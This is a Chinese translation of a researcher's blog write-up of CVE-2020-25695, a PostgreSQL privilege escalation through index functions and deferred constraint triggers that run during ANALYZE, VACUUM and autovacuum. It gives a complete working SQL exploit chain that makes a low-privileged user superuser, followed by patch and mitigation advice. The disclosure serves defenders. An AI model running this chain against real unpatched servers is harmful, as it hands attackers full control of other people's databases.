CVE-2020-25695 Postgresql中的权限提升

lock丶念拥
2020-12-24 / 0 评论 / 59 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年01月08日,已超过123天没有更新,若内容或图片失效,请留言反馈。

CVE-2020-25695 Postgresql中的权限提升

已经快一年多了,我希望每个人都安康。这是我今年的第一篇也是唯一的一篇文章,涵盖了我在Postgresql中发现的一个有趣的特权升级漏洞。这会影响从9.5开始的所有受支持的Postgresql版本,很可能也会影响大多数较早的版本。

该漏洞类似于检查时间到使用时间TOCTOU的问题,但是在这种情况,它与退出安全受限操作之前未完全清除/重置状态有关。

测试版本:

  • 13.0 – PostgreSQL 13.0 (Debian 13.0-1.pgdg100+1)
  • 12.4 – PostgreSQL 12.4 (Debian 12.4-1.pgdg100+1)
  • 12.3 – PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1)
  • 11.9 – PostgreSQL 11.9 (Debian 11.9-1.pgdg90+1)

发行说明和更新:https : //www.postgresql.org/

目标

我的目标找到一个漏洞,该漏洞将允许一个没有权限的用户将其提升到superuser

有一些合法的方法可以为用户提供更高的Postgresql权限,而不给予用户完整的superuser权限。

通常使用SECURITY DEFINER函数完成此操作。

配置不当时,可以使用一个恶意编写的SECURITY DEFINER 函数和可控制search_path来提升特权。(Cybertec Blog)

在Postgresql文档中(how to safely write security definer functions)显式地说明了此功能。

由于SECURITY DEFINER函数是以拥有它的用户的特权执行的,因此,需要注意使用,确保该函数不会被滥用。

尽管这是合法的功能,它仍然提供了一个很好的开始,因为它使我了解了在源代码中查找的位置。

或许会有一种在其他上下文使用SECURITY DEFINER的方式。

查找

我首先研究了安全定义器函数和Postgresql切换用户权限的其他位置,我注意到其中提高security-restricted operations。这立即引发了一种幻想,即可能在其中找到某些东西。调用grep,并搜索了提到security-restricted operations的位置。

该术语出现的两个地方是src/backend/commands/analyze.cANALYZE指令)和src/backend/commands/vacuum.cVACUUM指令),两者中都有相同的代码注释。

/*
* Switch to the table owner's userid, so that any index functions are run
* as that user.  Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command.
*/

这带我们走进下一部分。

索引和功能

这似乎很有趣,我不知道索引可以运行函数。现在是时候去先弄清楚如何使索引运行用户功能。

原来这是很容易做到的。文档有大量的索引调用函数示例(即使这些不是用户定义的, 它也展示了如何构造sql查询的语法)

例如:

CREATE INDEX ON films ((lower(title)));

在这种情况下, 一个索引被创建在filmstitle列,并使用lower函数将其转换为小写。这将很直接轻松地提供一个用户创建的功能而不是lower

我跳过了一些必要的调试步骤,但可以归结为阅读使用函数时抛出的错误信息。此时要注意的事情是一个INDEX需要一个IMMUTABLE函数,这意味着该函数将始终为给定的输入返回相同的结果。这是有道理的,INDEX正在尝试优化唯一性。

CREATE FUNCTION sfunc(integer) 
  RETURNS integer
  LANGUAGE sql IMMUTABLE AS
  'SELECT $1';

现在创建一个表,并在该表创建一个索引:

CREATE TABLE blah (a int, b int);
INSERT INTO blah VALUES (1,1);

CREATE INDEX indy ON blah (sfunc(a));

这作用并不是很大,我想要一个做更有用事情的功能。例如将值插入到其他表中。原因是我想索引正在执行索引功能的用户。 在这点上,我的想法是:

create index as unpriv --> privileged user executes ANALYZE/VACUUM --> index function executes as privileged user

在这种场景,我计划使用SERCURITY INVOKER诱使Postgres以特权用户执行此功能。

-- create the table to insert the user into
CREATE TABLE t0 (s varchar);

-- create the security invoker function
CREATE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
   'INSERT INTO t0 VALUES (current_user); SELECT $1';

如上文所说, 索引需要一个IMMUTABLE函数.因此,尝试在索引使用该函数,将引发错误:

tmp=# CREATE INDEX indy ON blah (sfunc(a));
ERROR:  functions in index expression must be marked IMMUTABLE

这似乎是一个死胡同。然后我突然想到可以重新创建/重新定义功能。只要您使用CREATE OR REPLACE FUNCTION,任何现有的功能将会被覆盖。也许INDEX不会去检查一个定义好的函数是否会发生改变。(剧透,它的确不会)

CREATE FUNCTION sfunc(integer) 
  RETURNS integer
  LANGUAGE sql IMMUTABLE AS
  'SELECT $1';

CREATE INDEX indy ON blah (sfunc(a));

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

现在,当索引运行时,current_user将会被插入到t0表中,为了确认,我切换到特权用户(postgres)并执行了该ANALYZE功能。

tmp=# SELECT * FROM t0;
 s
---
(0 rows)

tmp=# ANALYZE;
ANALYZE
tmp=# SELECT * FROM t0;
  s
-----
 foo
(1 row)

tmp=#

函数有效地触发了,但是我们插入了用户foo而不是postgres。这说明SECURITY INVOKER没有效果。

回顾前面的源代码解释,我们可以回想起在security-restricted函数中已切换所有者的uid.是的,我们证明了此功能有效,确认了我们找到了一个不错的绕过IMMUTABLE检查的功能,但这不是一个真正的安全问题。

稍后再说-延缓

回到源代码,我了解了如何进入security-restricted操作,然后退出。

vacuum.c文件中,有一些有趣的注释。也许您可以立即发现引起我注意的部分。

/*
* Switch to the table owner's userid, so that any index functions are run
* as that user.  Also lock down security-restricted operations and
* arrange to make GUC variable changes local to this command. (This is
* unnecessary, but harmless, for lazy VACUUM.)
*/
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
                                            save_sec_context | SECURITY_RESTRICTED_OPERATION);
save_nestlevel = NewGUCNestLevel();

// DO LOTS OF WORK
// <--- SNIP --->

/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);

/* all done with this class, but hold lock until commit */
if (onerel)
        relation_close(onerel, NoLock);

/*
* Complete the transaction and free all temporary memory used.
*/
PopActiveSnapshot();
CommitTransactionCommand();

看到最后的注释和函数调用了吗? 在CommitTransactionCommand()之后执行SetUserAndSecContext,将上下文用户标识重置为执行用户的上下文。在SQL中,您具有事务,并且直到提交的时候事务才终结。这为你提供了执行某些SQL的空间,让它的一部分失败,然后完整地回滚到输入事务之前对状态的任何更改。在此代码中,用户在提交事务之前已还原,这事实使我想知道是否有可能在提交完成之前潜入一些其他命令来执行。

接下来,花了很长时间去阅读文档并寻找延迟执行SQL命令的方法。最终,我碰到了INITIALLY DEFERRED,他掌握了解锁这个难题的关键。这是文档的一部分TRIGGERS,其进一步让幻想成真。

什么是INITIALLY DEFERRED?

INITIALLY DEFERRED The default timing of the trigger. See the CREATE TABLE documentation for details of these constraint options. This can only be specified for constraint triggers.

进入CREATE TABLE参考文献,您会发现:

If a constraint is deferrable, this clause specifies the default time to check the constraint. If the constraint is INITIALLY IMMEDIATE, it is checked after each statement. This is the default. If the constraint is INITIALLY DEFERRED, it is checked only at the end of the transaction. The constraint check time can be altered with the SET CONSTRAINTS command.

听起来完全像我们想要的!初始化延迟的约束只在"事务结束"时检查。这表明他将在上下文切换之后,但在commit之前发生。

实践

下一个技巧是弄清楚如何使用约束触发器以及应将约束触发器放置在何处,以便它在正确的时刻触发。

首先,一个CONSTRAINT TRIGGER需要一个函数去执行。这将是我们"最终"的步骤,应该在特权用户上下文执行。因此,我们将特权操作插入到这个函数,另外一个技巧是CONSTRAINT TRIGGER需要以某种方式触发。幸运地是,我们已经准备好了初始位。由于索引调用我们插入到table中的自定义函数插入t0表,这个动作将导致约束触发器执行

Index runs --> sfunc inserts into t0 --> constraint trigger fires --> strig function is executed

这留给我们以下的SQL语句:

CREATE TABLE t1 (s varchar);

-- create a function for inserting current user into another table

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t1 VALUES (current_user); SELECT $1';

-- create a trigger function which will call the second function for inserting current user into table t1
CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
  AS $e$ BEGIN 
    PERFORM snfunc(1000); RETURN NEW; 
  END $e$ 
LANGUAGE plpgsql;

/* create a CONSTRAINT TRIGGER, which is deferred
deferred causes it to trigger on commit, by which time the user has been switched back to the
invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED 
    FOR EACH ROW
  EXECUTE PROCEDURE strig();

我们必须创建第二个插入函数,否则我们将以非特权用户身份继续插入到要插入到其中的初始表中。

我们还希望该功能是实际执行特权操作的功能。这一点可以被简化,并且触发功能可以完成所有操作。但是这就是我当时大脑的工作方式,为什么要弄乱一些可行的东西?

tmp=> SELECT * FROM t0;
  s 
----- 
  foo
(1 row)

tmp=> SELECT * FROM t1;
 s
---
(0 rows)

tmp=> INSERT INTO t0 VALUES ('baz');
INSERT 0 1
tmp=> SELECT * FROM t1;
  s
-----
 foo
(1 row)

哇,current_user已插入table中t1。切换到特权用户(postgre)并插入t0,应该导致postgres出现在表中t1

tmp=# INSERT INTO t0 VALUES ('bazfoo');
INSERT 0 1
tmp=# SELECT * FROM t1;
    s
----------
 foo
 postgres
(2 rows)

太棒了, 现在我们可以欺骗特权用户插入到我们的表中。或者更好的方式是,测试ANALYZEVACUUM函数现在是否在安全性受限的操作之外执行最终命令。

分析

作为特权用户,只需ANALYZE在此时执行:

tmp=# ANALYZE;
ANALYZE
tmp=# SELECT * FROM t1;
    s
----------
 foo
 postgres
 postgres
(3 rows)

成功执行!这意味着只要有特权的用户执行ANALYZE(或VACUMM就此而言),就有机会以该用户的身份执行命令!事实证明ANALYZEVACUUM这是特权用户经常执行的非常常见的管理操作。因此,priv-esc的机会应该很高。

自动化

在这一点上,我们已经进行了特权升级,但是仍然需要一些手动交互。幸运地是,由于ANALYZEVACUUM函数通常运行,并且经常因为事件运行。因此Postgresql具有内置的功能来定期运行这些功能

(需要启用,默认情况下处于禁用状态)。也许可以通过此autovacuum过程直接触发此问题?

要强制触发autovacuum运行,可以设置一些较低的阈值,然后在几次插入和删除之后该过程将运行:

ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);

不幸地是,这没有用。此时我差点认为autovacuum没有漏洞。但是幸运地是,我决定尝试去找出它没有"漏洞"的原因。只需快速查看日志即可确定问题所在:

tail -f /var/log/postgres/postgresql-12-main.log

2020-10-15 19:42:19.501 UTC [14231] LOG:  automatic vacuum of table "tmp.public.blah": index scans: 1
        pages: 0 removed, 1 remain, 0 skipped due to pins, 0 skipped frozen
        tuples: 6 removed, 1 remain, 0 are dead but not yet removable, oldest xmin: 2618
        buffer usage: 43 hits, 4 misses, 7 dirtied
        avg read rate: 53.879 MB/s, avg write rate: 94.289 MB/s
        system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
2020-10-15 19:42:19.531 UTC [14231] ERROR:  relation "t0" does not exist at character 13
2020-10-15 19:42:19.531 UTC [14231] QUERY:  INSERT INTO t0 VALUES (current_user); SELECT $1
2020-10-15 19:42:19.531 UTC [14231] CONTEXT:  SQL function "sfunc" during startup

问题很明显,autovacuum在Postgres中运行,但是没有数据库和模式集.因此当它尝试INSERT INTO t0时,他不能找到表! 所需要做的就是通过提供数据库和模式来告诉autovacuum在哪里可以找到完整的关系。

一个简单的更改:

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';

变为:

CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';

现在,当autovacuum运行时,它将触发漏洞并以引导超级用户(通常为postgres)执行。

全自动化

在这一点上,将其编程一个完整的漏洞利用利用程序,可以自动将用户提升为superuser。有一个小问题,因为整个漏洞利用链是在插入基表时触发的,因此事务将在漏洞利用尝试提升特权的时候失败(因为它仍然以非特权用户身份执行,而不是在autovacuum进程执行)。这就需要一个简单的保护措施来检查洞利用程序(特权提升)是否应该运行,或者是否应该继续为autovacuum建立漏洞利用链。

-- Low privileged function

CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
SELECT $1';

-- High privileged function

CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
   LANGUAGE sql 
   SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
ALTER USER foo SUPERUSER;
SELECT $1';

-- updated trigger

CREATE OR REPLACE FUNCTION strig() RETURNS trigger 
AS $e$ 
BEGIN 
IF current_user = 'postgres' THEN
    PERFORM tmp.public.snfunc2(1000); RETURN NEW; 
ELSE
    PERFORM tmp.public.snfunc(1000); RETURN NEW; 
END IF;
END $e$ 
LANGUAGE plpgsql;

现在,当autovacuum运行时,低特权用户将被提升为超级用户。 顶框显示autovacuum的日志, 底框显示INSERT / DELETE触发autovacuum

修复和总结

已发布所有受支持的Postgresql版本的补丁。这些可直接从https://www.postgresql.org/获得,或应在软件包镜像中获得。

在无法应用补丁的情况下,可以采取一些缓解措施。这些确实带有可能会严重影响性能的警告。

虽然及时更新PostgreSQL是大多数用户的最佳补救措施,但是无法做到这一点的用户可以通过禁用自动清理并且不手动运行ANALYZE,CLUSTER,REINDEX,CREATE INDEX,VACUUM FULL,REFRESH MATERIALIZED VIEW或从 来自pg_dump命令的输出还原来解决该漏洞。在这种解决方法下,性能可能会迅速下降。

完整的建议已发送:https : //gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214

修复:https : //www.postgresql.org/

本文为翻译文章

原文链接:https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc/

0

评论 (0)

取消